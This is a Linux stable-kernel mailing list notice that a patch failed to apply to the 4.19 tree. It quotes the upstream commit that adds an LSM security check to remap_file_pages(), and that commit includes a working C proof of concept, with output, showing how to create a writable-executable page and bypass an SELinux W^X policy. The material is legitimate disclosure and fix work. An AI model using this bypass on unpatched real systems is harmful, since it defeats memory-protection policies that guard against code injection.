FAILED: patch "[PATCH] mm: call the security_mmap_file() LSM hook in" failed to apply to 4.19-stable tree

The patch below does not apply to the 4.19-stable tree.
If someone wants it applied there, or to any other stable or longterm tree, then please email the backport, including the original git commit id to <[email protected]>.

To reproduce the conflict and resubmit, you may use the following commands:

git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.19.y
git checkout FETCH_HEAD
git cherry-pick -x ea7e2d5e49c05e5db1922387b09ca74aa40f46e2
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<[email protected]>' --in-reply-to '2024100103-banish-batboy-00df@gregkh' --subject-prefix 'PATCH 4.19.y' HEAD^..

Possible dependencies:

ea7e2d5e49c0 ("mm: call the security_mmap_file() LSM hook in remap_file_pages()") 592b5fad1677 ("mm: Re-introduce vm_flags to do_mmap()")
183654ce26a5 ("mmap: change do_mas_munmap and do_mas_aligned_munmap() to use vma iterator") 0378c0a0e9e4 ("mm/mmap: remove preallocation from do_mas_align_munmap()") 92fed82047d7 ("mm/mmap: convert brk to use vma iterator")
baabcfc93d3b ("mm/mmap: fix typo in comment")
c5d5546ea065 ("maple_tree: remove the parameter entry of mas_preallocate") 675eaca1f441 ("mm/mmap: properly unaccount memory on mas_preallocate() failure") 6c28ca6485dd ("mmap: fix do_brk_flags() modifying obviously incorrect VMAs") f5ad5083404b ("mm: do not BUG_ON missing brk mapping, because userspace can unmap it") cc674ab3c018 ("mm/mmap: fix memory leak in mmap_region()")
120b116208a0 ("maple_tree: reorganize testing to restore module testing") a57b70519d1f ("mm/mmap: fix MAP_FIXED address return on VMA merge") 5789151e48ac ("mm/mmap: undo ->mmap() when mas_preallocate() fails") deb0f6562884 ("mm/mmap: undo ->mmap() when arch_validate_flags() fails") 28c5609fb236 ("mm/mmap: preallocate maple nodes for brk vma expansion") 763ecb035029 ("mm: remove the vma linked list")
8220543df148 ("nommu: remove uses of VMA linked list")
67e7c16764c3 ("mm/mmap: change do_brk_munmap() to use do_mas_align_munmap()") 11f9a21ab655 ("mm/mmap: reorganize munmap to use maple states")

thanks,

greg k-h

------------------ original commit in Linus's tree ------------------

From ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 Mon Sep 17 00:00:00 2001
From: Shu Han <[email protected]>
Date: Tue, 17 Sep 2024 17:41:04 +0800
Subject: [PATCH] mm: call the security_mmap_file() LSM hook in
remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) {
	size_t pagesz = sysconf(_SC_PAGE_SIZE);
	int mfd = syscall(SYS_memfd_create, "test", 0);
	const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
		MAP_SHARED, mfd, 0);
	unsigned int old = syscall(SYS_personality, 0xffffffff);
	syscall(SYS_personality, READ_IMPLIES_EXEC | old);
	syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
	syscall(SYS_personality, old);
	// show the RWX page exists even if W^X policy is enforced
	int fd = open("/proc/self/maps", O_RDONLY);
	unsigned char buf2[1024];
	while (1) {
		int ret = read(fd, buf2, 1024);
		if (ret <= 0) break;
		write(1, buf2, ret);
	}
	close(fd);
}

$ gcc test.c -o test
$ ./test | grep rwx
7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

index d0dfc85b209b..18fddcce03b8 100644
@@ -3198,8 +3198,12 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 		flags |= MAP_LOCKED;
 
 	file = get_file(vma->vm_file);
+	ret = security_mmap_file(vma->vm_file, prot, flags);
+	if (ret)
+		goto out_fput;
 	ret = do_mmap(vma->vm_file, start, size,
 			prot, flags, 0, pgoff, &populate, NULL);
+out_fput:
 	fput(file);
 out:
 	mmap_write_unlock(mm);